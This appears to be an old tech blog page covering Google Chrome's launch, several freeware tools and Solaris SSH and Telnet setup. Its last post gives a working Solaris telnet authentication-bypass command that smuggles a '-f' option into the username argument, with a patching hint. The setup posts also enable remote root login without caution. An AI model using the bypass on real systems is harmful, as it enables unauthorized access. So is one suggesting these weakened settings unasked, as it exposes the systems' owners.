Google Chrome now live

Visit http://www.google.com/chrome to download and start exploring. (For the moment, it's available only for Windows users, but you can sign up on the download page to learn when the Mac and Linux versions are available.)

Google Chrome - Googles Browser

Google confirmed to lauch "Google Chrome" browser later today. Their project is a revolutionary one and we have to wait and see how big it will be a competitor for some of the well known browsers (Firefox, Safari, IE, Maxthon etc).

They released a 38 page comic book, which gives all the details of Google Chrome web browser. As per the comic book, this browser architectural design sounds appealing. Click on this link to read more details: Google Chrome Comic book

Chrome appears to be a radical reworking of a modern browser's internal architecture, with each tabbed session in the browser running as its own process. Plugins are run as separate child processes to the tabbed sessions process. This decoupling, along with a more isolating security model which keeps web page executable content on a tight lead, is designed to give a more reliable browser. One web page locking up does not lock up the entire browser. There is even a task manager for advanced users to identify badly performing processes and selectively stop them.

Chrome uses the Webkit engine, also used by Apple's Safari and Nokia among others, to render web pages. JavaScript execution is handled by V8, yet another new high performance JavaScript engine in the mold of TraceMonkey and SquirrelFish, with dynamic code generation and optimisation and a precise memory management for fast garbage collection. Chrome has also incorporated Google's Gears as standard, giving web applications in Chrome access to database, geolocation and desktop integration.

The most visible changes in Chrome are in its tabs, home page and address bar. The tabs for pages appear to be located at the very top of the window, with the address bar and tools underneath. The home page is dynamically composed of your top nine used sites in a three by three thumbnail view and with your most common searches listed to the right of the thumbnails. The address bar is now "the Omnibox", described as an extra smart autocompleting text field, drawing completion data from your web searches as well as your browser bookmarks and history. For those worried about their privacy, a private browsing mode is also built in so users won't see that surprise gift for a loved one appearing in the Chrome home page.

Google has stated that Chrome will be an open source application, with the terms described indicating a BSD or Apache permissive licence. A beta version for Windows will be released on September 2nd with Mac and Linux versions being developed.

For more details check Googles Official Blog.

Drop your comments, so that we can discuss pros and cons of this browser.

Qlock - World Clock

If you want a world-clock on your desktop, then go and install this freeware. It uses very less system memory and stays in your system tray. You can create / add any city very easily and can create numerous profiles. The GUI looks very good and pretty user friendly. You can select the city from Zones or just locate and click on the world map. Apart of this, it has the following features:

When the time is..
This feature is useful when you want to see other local times for any given time.

Multiple profiles
Create different Qlock layouts in each profile.

Attach notes
These are a useful way of keeping track of to-do items, meetings, phone numbers etc.

Automatic program updates
Qlock automatically downloads time zone and Daylight Saving Time changes.

Multiple alarms per city
Qlock allows you to set up to 5 separate independent alarms per city window.

If you like it, download Qlock

Interclue - Firefox Add-ons

This is one of my favourite add-ons. I am sure, if you start using it, you will really likes it. Interclue tooltip windows display content previews, useful extra information and relevant next actions for almost any link on the web. A truly user-centric design, "Clueview" tooltips show you only the most relevant content from linked pages, and can provide embedded viewing for images, mp3s and YouTube videos. Other features:

• Gives a quick preview of the main content.
• Iconic indication represents type of link is. eg: website, pdf doc, script, mail addr etc
• Next button while viewing images (so that no need to click on each and every image link)
• Statistics of the links.

It must-be an add-on, those who do surfing frequently.

Download Interclue

IE Tab - Firefox Add-ons

No need to switch browsers frequently. Here is a great solution for those who are using both IE (Internet Explorer) & Mozilla Firefox for different purposes. IE Tab enables to use the embeded IE engine with your firefox.

Download IE Tab Add-on here

Once you are done with installation, you can select the option "Switch rendering engine" or "open this link in IE Tab" from the pop-up menu on any tab to switch to your IE Tab.

How to enable SSH in Solaris

To enable "ssh" in solaris do the following steps:

Step1: Edit the /etc/ssh/sshd_config file
vi /etc/ssh/sshd_config
change "PermitRootLogin" argument from no to yes.

Step2: Enable/restart ssh service.
svcadm enable ssh
(or)
svcadm -v enable svc:/network/ssh:default

Troubleshooting:

• If you face any problem while enabling the ssh service, do properly check the physical network and "/etc/hosts" file.
• If any line in the "/etc/hosts" file contains "::1" then comment it out and also check the localhost argument.
• Physical network status must be online when you run the following command to identify the issue: svcs -d ssh
• If you fail in all the above tips to identify the problem, check the log file it will give a idea:
  cat /var/svc/log/network-ssh\:default.log
  

Free your ipod - change, backup, share

SharePod is a free program for your ipod. Its a tiny stand-alone application, which does not require any installation.

Heres some of the main features:

• Add & remove music and videos from your iPod
• Add, remove and edit playlists
• Add & remove album art
• Copy music, videos and playlists from your iPod to PC
• Import music/videos into your iTunes library, including playlists and ratings
• Tag editing
• Drag n' drop to and from Explorer
• Simple, clean interface
• Quick to load and use with no unnecessary complicated features

Download SharePod

FAQ's
SharePod needs the Microsoft .NET 2 Framework to work correctly

Puzzle

Feeling bore or drowsy?? Then here is a nice game to give you boost.

Guess-the-Google

Click on the link to play. Enjoy!!

How to enable Telnet in Solaris

To enable TELNET service in Solaris do the following steps:

Step1: Edit the /etc/default/login file
vi /etc/default/login
comment the line "CONSOLE"

Step2: Run the following command to do enable
svcadm enable telnet
(or)
svcadm -v enable svc:/network/telnet:default

Step3: Check the status of the service
svcs | grep telnet

Troubleshooting:
If you face any problem while enabling the telnet service, check the following command output to identify the issue.

svcs -l telnet
(or)
svcs -d telnet

Solaris Telnet Authentication Bypass

In some Solaris versions, the telnet daemon allows authentication bypass.

Following example will log in you to the system with the user "username" without asking for credentials.

telnet -l "-fusername" [hostname]

Example:

1. telnet -l "-ftestuser" SolarisAdminServer

Hint:
To fix this bug/issue, go ahead and install all the Solaris patches for that particular version using this link Patches and Updates .